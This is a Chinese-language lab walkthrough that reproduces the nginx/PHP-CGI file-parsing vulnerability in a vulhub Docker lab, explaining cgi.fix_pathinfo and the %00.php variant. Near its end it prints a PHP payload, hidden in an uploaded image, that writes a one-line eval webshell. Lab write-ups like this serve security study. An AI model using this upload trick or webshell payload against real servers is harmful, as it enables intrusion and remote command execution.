下载vulhub-master
网址是这个:GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose
里面包含了所有漏洞的容器
下载完成后解压,将文件夹复制黏贴到kali里面
黏贴到哪都可以,自己找得到就行
使用
docker ps
查看正在运行的容器
可以看到目前没有在运行的容器
进入到下面的文件夹中运行容器
cd /root/Desktop/vulhub-master/nginx/nginx_parsing_vulnerability
运行容器的指令如下
docker compose up -d
不记得了可以打开文件夹内的README.md文件获取
这里如果是第一次运行需要等待它安装
再次运行docker ps命令,可以看到此时有两个容器在运行,这两个容器就是本次实验需要用到的nginx解析漏洞的容器
运行
ifconfig
查看IP地址
可以看到eth0就是这台机器连通外网的网卡,记住它的IP地址
打开另一台机器登录这个IP地址
随便创建一个图片文件测试一下上传功能
可以看到上传功能没有问题,复制html之后的内容,将它们黏贴到IP地址后面
可以看到读取功能也没有问题
在网址末尾添加.php后
网页会显示乱码,然后显示php界面内容
到这里nginx解析漏洞就复现完成了,
原理就是nginx的文件解析出现了错误,在获得这个.php路径时他没有检查,一看是个.php后缀的文件就直接丢给php去处理了,php处理的时候发现 “诶?没有这个文件啊” 于是他就会继续向上找,就找到了.php的上级文件.jpg,然后把它当做php文件给处理了。具体的就看下面这个详细信息
Nginx 解析漏洞该解析漏洞是PHP CGI 的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认开启,当URL中有不存在的文件,PHP就会向前递归解析 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg解析为 php 文件。
Nginx<=0.8.37 解析漏洞 在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞,在一个文件路径(/xx.jpg)后面加上%00.php 会将 /xx.jpg%00.php 解析为php 文件。另一种手法:上传一个名字为test.jpg,包含以下内容文件:<?PHP fputs(fopen(‘shell.php’.‘w’),’<?phpeval($_POST[cmd])?>’);?> 然后访问test.jpg/.php 在这个目录下就会生成一句话木马shell.php。